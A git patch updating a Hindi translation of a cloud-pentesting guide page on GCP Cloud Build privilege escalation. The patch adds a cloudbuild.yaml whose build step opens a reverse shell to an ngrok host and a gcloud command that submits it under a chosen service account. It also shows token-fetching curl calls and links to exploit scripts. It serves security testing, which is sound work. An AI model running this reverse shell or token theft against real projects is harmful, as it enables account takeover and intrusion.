From 465834ec6f6fc70632a00c7daac50b273cc8cd9c Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 14:48:56 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/ --- .../gcp-cloudbuild-privesc.md | 32 +++++++++++++------ 1 file changed, 22 insertions(+), 10 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md index d873e2741..1edddf4fe 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md @@ -12,22 +12,34 @@ Cloud Build के बारे में अधिक जानकारी क ### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs` -इस अनुमति के साथ आप **एक क्लाउड बिल्ड सबमिट कर सकते हैं**। cloudbuild मशीन में **डिफ़ॉल्ट रूप से cloudbuild Service Account का एक टोकन होगा**: `@cloudbuild.gserviceaccount.com`। हालाँकि, आप cloudbuild कॉन्फ़िगरेशन में **परियोजना के भीतर किसी भी सेवा खाते** को **संकेतित** कर सकते हैं।\ -इसलिए, आप बस मशीन को आपके सर्वर पर टोकन को एक्सफिल्ट्रेट करने के लिए कह सकते हैं या **इसके अंदर एक रिवर्स शेल प्राप्त कर सकते हैं और खुद को टोकन प्राप्त कर सकते हैं** (टोकन वाला फ़ाइल बदल सकता है)। +इस अनुमति के साथ आप **एक क्लाउड बिल्ड सबमिट कर सकते हैं**। cloudbuild मशीन में **डिफ़ॉल्ट रूप से cloudbuild सेवा खाते का एक टोकन** होगा: `@cloudbuild.gserviceaccount.com`। हालाँकि, आप क्लाउडबिल्ड कॉन्फ़िगरेशन में **परियोजना के भीतर किसी भी सेवा खाते** को **संकेतित** कर सकते हैं।\ +इसलिए, आप बस मशीन को अपने सर्वर पर टोकन को एक्सफिल्ट्रेट करने के लिए कह सकते हैं या **इसके अंदर एक रिवर्स शेल प्राप्त कर सकते हैं और खुद को टोकन प्राप्त कर सकते हैं** (टोकन वाला फ़ाइल बदल सकता है)। -आप मूल एक्सप्लॉइट स्क्रिप्ट [**यहाँ GitHub पर**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) पा सकते हैं (लेकिन जिस स्थान से यह टोकन ले रहा था वह मेरे लिए काम नहीं किया)। इसलिए, [**यहाँ एक स्क्रिप्ट देखें जो एक vuln वातावरण के निर्माण, शोषण और सफाई को स्वचालित करती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) और cloudbuild मशीन के अंदर एक रिवर्स शेल प्राप्त करने के लिए एक पायथन स्क्रिप्ट और [**इसे यहाँ चुराने के लिए**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (कोड में आप देख सकते हैं कि अन्य सेवा खातों को कैसे निर्दिष्ट किया जाए)**।** +#### gcloud CLI के माध्यम से सीधे शोषण -अधिक गहन व्याख्या के लिए, देखें [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/) +1- `cloudbuild.yaml` बनाएं और अपने लिस्नर डेटा के साथ संशोधित करें +```yaml +steps: +- name: bash +script: | +#!/usr/bin/env bash +bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 +options: +logging: CLOUD_LOGGING_ONLY +``` +2- एक साधारण बिल्ड अपलोड करें जिसमें कोई स्रोत न हो, yaml फ़ाइल और बिल्ड पर उपयोग करने के लिए SA निर्दिष्ट करें: +```bash +gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com +``` +#### Using python gcloud library +आप मूल एक्सप्लॉइट स्क्रिप्ट [**यहां GitHub पर**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) पा सकते हैं (लेकिन जिस स्थान से यह टोकन ले रहा है, वह मेरे लिए काम नहीं किया)। इसलिए, [**यहां एक स्क्रिप्ट देखें जो एक vuln वातावरण के निर्माण, एक्सप्लॉइट और सफाई को स्वचालित करती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) और एक पायथन स्क्रिप्ट जो क्लाउडबिल्ड मशीन के अंदर एक रिवर्स शेल प्राप्त करती है और [**इसे यहां चुराती है**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (कोड में आप देख सकते हैं कि अन्य सेवा खातों को कैसे निर्दिष्ट करना है)**।** -### `cloudbuild.builds.update` +अधिक गहन व्याख्या के लिए, जाएं [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/) -**संभावित रूप से** इस अनुमति के साथ आप **एक क्लाउड बिल्ड को अपडेट कर सकते हैं और बस सेवा खाता टोकन चुरा सकते हैं** जैसे कि पिछले अनुमति के साथ किया गया था (लेकिन दुर्भाग्यवश इस लेखन के समय मैं उस API को कॉल करने का कोई तरीका नहीं ढूंढ सका)। - -TODO ### `cloudbuild.repositories.accessReadToken` -इस अनुमति के साथ उपयोगकर्ता **पढ़ने के लिए एक्सेस टोकन** प्राप्त कर सकता है जिसका उपयोग रिपॉजिटरी तक पहुँचने के लिए किया जाता है: +इस अनुमति के साथ उपयोगकर्ता **रीड एक्सेस टोकन** प्राप्त कर सकता है जिसका उपयोग रिपॉजिटरी तक पहुंचने के लिए किया जाता है: ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ @@ -37,7 +49,7 @@ curl -X POST \ ``` ### `cloudbuild.repositories.accessReadWriteToken` -इस अनुमति के साथ, उपयोगकर्ता **पढ़ने और लिखने की पहुँच टोकन** प्राप्त कर सकता है जिसका उपयोग भंडार तक पहुँचने के लिए किया जाता है: +इस अनुमति के साथ उपयोगकर्ता **पढ़ने और लिखने की पहुँच टोकन** प्राप्त कर सकता है जिसका उपयोग भंडार तक पहुँचने के लिए किया जाता है: ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \